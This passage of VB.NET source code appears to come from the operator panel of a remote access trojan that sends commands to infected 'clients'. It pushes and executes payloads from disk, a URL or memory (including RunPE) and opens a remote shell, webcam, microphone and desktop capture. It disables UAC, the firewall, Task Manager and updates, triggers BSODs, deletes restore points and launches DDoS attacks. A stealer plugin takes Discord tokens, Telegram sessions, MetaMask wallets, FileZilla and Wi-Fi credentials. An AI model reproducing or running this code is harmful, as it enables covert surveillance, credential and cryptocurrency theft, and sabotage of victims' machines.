|
|
End If
|
|
End Sub
|
|
|
|
Private Async Sub DiskToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DiskToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
|
|
Dim o As New OpenFileDialog
|
|
With o
|
|
.Filter = "(*.*)|*.*"
|
|
.Title = "From Disk"
|
|
End With
|
|
|
|
If o.ShowDialog = DialogResult.OK Then
|
|
|
|
Dim B As Byte()
|
|
|
|
Await Task.Run(Sub()
|
|
B = SB("DW" & SettingsHelper.SPL & Path.GetExtension(o.FileName) & SettingsHelper.SPL & Convert.ToBase64String(Compress(File.ReadAllBytes(o.FileName))))
|
|
End Sub)
|
|
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
|
|
End If
|
|
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub LinkToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles LinkToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Dim url As String = "http://www.example.com/File.exe"
|
|
Dim str As String = Interaction.InputBox("Url", "From Url", url)
|
|
Dim str4 As String = Interaction.InputBox("Extension", "From Url", ".exe")
|
|
If (str.Length = 0) Or str4.Length = 0 Then
|
|
Else
|
|
Dim B As Byte() = SB("LN" & SettingsHelper.SPL & str4 & SettingsHelper.SPL & str)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub MemoryToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles MemoryToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
|
|
Dim o As New OpenFileDialog
|
|
With o
|
|
.Filter = "(*.exe)|*.exe"
|
|
.Title = "From Memory"
|
|
End With
|
|
|
|
If o.ShowDialog = DialogResult.OK Then
|
|
Try
|
|
System.Reflection.Assembly.LoadFile(o.FileName).EntryPoint.GetParameters()
|
|
Catch
|
|
MessageBox.Show(o.FileName, "Is Not A .NET Assembly")
|
|
Return
|
|
End Try
|
|
|
|
Dim B As Byte() = SB("FM" & SettingsHelper.SPL & Convert.ToBase64String(Compress(File.ReadAllBytes(o.FileName))))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End If
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RunPEToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles RunPEToolStripMenuItem2.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Dim f As New RunPE
|
|
f.StartPosition = FormStartPosition.CenterParent
|
|
f.ShowDialog()
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub MonitorToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles MonitorToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\RemoteDesktop.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub WebCamToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles WebCamToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\WebCam.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub MicrophoneToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles MicrophoneToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Microphone.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub SystemSoundToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles SystemSoundToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\WSound.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ShellToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ShellToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Shell.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub FileManagerToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles FileManagerToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\FileManager.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RegistryEditorToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RegistryEditorToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Regedit.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub TCPConnectionsToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles TCPConnectionsToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\TCPConnections.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ActiveWindowsToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ActiveWindowsToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\ActiveWindows.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub StartupManagerToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles StartupManagerToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\StartupManager.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ProcessManagerToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ProcessManagerToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\ProcessManager.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ServiceManagerToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ServiceManagerToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\ServiceManager.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ClipboardManagerToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ClipboardManagerToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Clipboard.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub InstalledProgramsToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles InstalledProgramsToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Programs.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub DDosAttackToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles DDosAttackToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
|
|
DDosAttack.Show()
|
|
|
|
Dim B As Byte() = SB("DDos")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub VBNetCompilerToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles VBNetCompilerToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\VB.NET Compiler.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub LocationManagerToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles LocationManagerToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Maps.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub PastimeToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles PastimeToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Pastime.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ClientFolderToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ClientFolderToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
|
|
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", Lv1.SelectedItems(0).SubItems(2).Text)
|
|
|
|
If Not Directory.Exists(fullPath) Then
|
|
Directory.CreateDirectory(fullPath)
|
|
End If
|
|
|
|
Process.Start(fullPath)
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub EnableToolStripMenuItem6_Click(sender As Object, e As EventArgs) Handles EnableToolStripMenuItem6.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "BScreenE")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub DisableToolStripMenuItem6_Click(sender As Object, e As EventArgs) Handles DisableToolStripMenuItem6.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "BScreenD")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub EnableToolStripMenuItem7_Click(sender As Object, e As EventArgs) Handles EnableToolStripMenuItem7.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "UACE")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub DisableToolStripMenuItem7_Click(sender As Object, e As EventArgs) Handles DisableToolStripMenuItem7.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "UACD")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub EnableToolStripMenuItem8_Click(sender As Object, e As EventArgs) Handles EnableToolStripMenuItem8.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "RegeditE")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub DisableToolStripMenuItem8_Click(sender As Object, e As EventArgs) Handles DisableToolStripMenuItem8.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "RegeditD")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub EnableToolStripMenuItem9_Click(sender As Object, e As EventArgs) Handles EnableToolStripMenuItem9.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "TaskMgrE")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub DisableToolStripMenuItem9_Click(sender As Object, e As EventArgs) Handles DisableToolStripMenuItem9.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "TaskMgrD")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub EnableToolStripMenuItem10_Click(sender As Object, e As EventArgs) Handles EnableToolStripMenuItem10.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "FirewallE")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub DisableToolStripMenuItem10_Click(sender As Object, e As EventArgs) Handles DisableToolStripMenuItem10.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "FirewallD")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub EnableToolStripMenuItem11_Click(sender As Object, e As EventArgs) Handles EnableToolStripMenuItem11.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "UpdatesE")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub DisableToolStripMenuItem11_Click(sender As Object, e As EventArgs) Handles DisableToolStripMenuItem11.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "UpdatesD")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ResetScaleToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ResetScaleToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "scale")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub InvokeBSODToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles InvokeBSODToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Dim result As Integer = MessageBox.Show("Are You Sure?", "Invoke-BSOD!", MessageBoxButtons.YesNo)
|
|
If result = DialogResult.Yes Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "BSOD")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub DeleteRestoreToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles DeleteRestoreToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "DeletePoints")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Net35InstallToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles Net35InstallToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "Net3")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog(".Net 3.5 Install..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
Private Sub DiscordTokenToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DiscordTokenToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Stealer.dll") & SettingsHelper.SPL & 2)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("DiscordToken..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub TelegramSessionToolStripMenuItem_Click_1(sender As Object, e As EventArgs) Handles TelegramSessionToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Stealer.dll") & SettingsHelper.SPL & 4)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("TelegramSession..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ProductKeyToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ProductKeyToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Stealer.dll") & SettingsHelper.SPL & 3)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("ProductKey..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub MetaMaskToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles MetaMaskToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Stealer.dll") & SettingsHelper.SPL & 5)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("MetaMask..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub FileZillaToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles FileZillaToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Stealer.dll") & SettingsHelper.SPL & 0)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("FileZilla..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub WifiKeysToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles WifiKeysToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Stealer.dll") & SettingsHelper.SPL & 1)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("WifiKeys..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub StartToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles StartToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
|
|
Dim title As String = Interaction.InputBox("Send a notification when client open a specific window", "ReportWindow", "YouTube, Photoshop, Steam")
|
|
|
|
If String.IsNullOrEmpty(title) Then
|
|
Return
|
|
Else
|
|
Dim B As Byte() = SB("StartReport" & SettingsHelper.SPL & title)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub StopToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles StopToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
|
|
Dim B As Byte() = SB("StopReport")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub PerformanceToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles PerformanceToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Performance.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
